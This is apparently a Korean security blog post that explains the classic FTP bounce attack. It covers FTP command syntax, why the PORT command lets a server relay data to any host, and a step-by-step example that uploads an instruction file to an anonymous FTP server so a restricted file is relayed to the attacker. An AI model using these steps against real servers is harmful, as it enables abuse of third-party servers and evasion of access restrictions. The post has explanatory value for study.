1. FTP 바운스 공격 개요


  FTP 바운스 공격( FTP bounce attack )은 FTP 프로토콜 구조의 허점을 이용한 공격 방법이다.  FTP는 서버/클라이언트 구조로 이루어 져 있으며 두 호스트간의 통신을 위해 2개의 포트를 사용한다.  20번은 데이터를 전송할 때 이용하는 포트로  21번은 사용자가 ftp 클라이언트 프로그램을 이용하여 접속하고 어떤 명령을 넘겨줄 때 사용된다.




텔넷(telnet) 프로그램을 이용하여 ftp 접속해 보면 ftp클라이언트가 어떻게 서버와 통신하는지를 확인할 수 있다.  % telnet  ftp.server.hostname 21


  Trying  xxx.xxx.xxx.xxx


  Connected to ftp.server.hostname


  Escape character is '^]'.


  220 ftp.server FTP server( UNIX System V Release 4.0 ) ready.


  help


  214-The following commands are recognized:


  USER     PORT    RETR    MSND*   ALLO   DELE    SITE*  XMKD   CDUP


  PASS     PASV     STOR   MSOM*   REST* CWD    STAT*  RMD     XCUP


  ACCT*   TYPE     APPE    MSAM*   RNFR   XCWD  HELP   XRMD   STOU


  REIN*   STRU     MLFL*  MRSQ*   RNTO   LIST    NOOP  PWD


  QUIT     MODE    MAIL*  MRCP*   ABOR   NLST   MKD     XPWD


  214 ( *'s  => unimplemented )


파일을 읽을 때 쓰는 명령은 RETR이며 저장할 때 쓰는 것은 STOR임. 접속을 끊을 때 사용하는 명령은 QUIT.


help 명령을 사용하여 ftp 프롬프트상에서 사용할 수 있는 명령의 문법을 확인할 수 있다.


  help  user


  214  Syntax: USER <sp> username


  help  pass


  214  Syntax: PASS <sp> password


  help  retr


  214  Syntax: RETR <sp> file-name


  help  quit


  214  Syntax: STOR <sp> file-name


  help  port


  214  Syntax : PORT <sp> b0, b1, b2, b3, b4, b5


  quit


  221  Goodbye.


  Connection closed by foreign host.


  %


PORT 명령을 이용하여 서버가 자료를 보낼 목적지를 미리 알려 줄 수 있도록 할 수 있다. b0,b1,b2,b3 값은 IP주소(address)를 가지며 b4, b5값은 포트 값.  그런데 포트 값은 IP주소와는 달리 16비트 값을 이용하므로 8비트씩 나눠서10진수로 표기해야 해주어야한다. IP 주소가 aa.bb.cc.dd이고 포트 번호가 e*256 + f라면 다음과 같이 그 값을 넘겨 준다.


   port  aa, bb, cc, dd, e, f




    FTP서버는 클라이언트가 지시한 곳으로 자료를 전송할 때 그 목적지가  '어떤 곳'인지는 검사하지 않는다. 그래서 FTP 클라이언트가 실행되는 호스트가 아닌 다른 호스트를  지정하더라도 서버는 충실하게 지정된 곳으로 정보를 보내게 된다.  이문제는 FTP서버의 버그가 아니라 원래 FTP 프로토콜의 설계 상에서 발생한 문제이다.  처음부터 고의로 자료를 요청하는 곳과 자료를 받는 곳이 다른곳 일수 있도록 FTP를 설계한 것이다.


   결과적으로 클라이언트는 FTP서버를 거쳐 간접적으로 임의의 IP에  있는 임의의 포트에 접근할 수 있으며 또한 임의의 메시지를 보낼 수도 있게 되는 것이다.  




2. FTP Bounce Attack 예




[STEP 1] 자신의 시스템에 실제 IP를 사용해서 FTP 연결을 설정한다.


# ftp 192.168.1.7


ftp> quote "pasv"      -> PASV 명령으로부터 리턴되는 주소와 포트번호 F,F,F,F,X,X를 기록해 둔다.


ftp> quote "stor foobar"


#


# vi instrs


user ftp


pass -anonymous@


cwd /export-restricted-crypto


type i


port F,F,F,F,X,X               <-- 앞에서 기록해둔 IP와 포트번호를 넣는다.


retr crypto.tar.Z


quit


^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ … ^@^@^@^@


^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ … ^@^@^@^@


…  250 NULLS를 포함하게 한다.




[STEP 2]


# ftp ufred.edu              <-- anonymous ftp 서버로 접속한다.


ftp> cd /incoming


ftp> put instrs


ftp> quote "port C.C.C.C.0.21"


ftp> quote "retr instrs"       <-- crypto.tar.Z 파일이 foobar파일에 저장된다.








공격자 ------------------> 중간FTP서버 ------------------> 목적지 호스트


[STEP 1]을 자신에게                ufred.com                                    retr crypto.tar.Z


실행한다.                                  instr 파일이 upload된뒤               하게되면 이 파일은


[STEP 2]을 중간FTP서버에       실행된다.                                     실제 공격자의 foobar


대해 실행한다.                                                                              파일에 저장 된다.


이때 C.C.C.C는 목적지 호스트의                                   


IP주소이다.    




참고: http://cespc1.kumoh.ac.kr/~ygkim/security/security5-1.ppt


     http://www.insecure.org/nmap/hobbit.ftpbounce.txt

FTP 바운스 공격(FTP bounce attack)

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다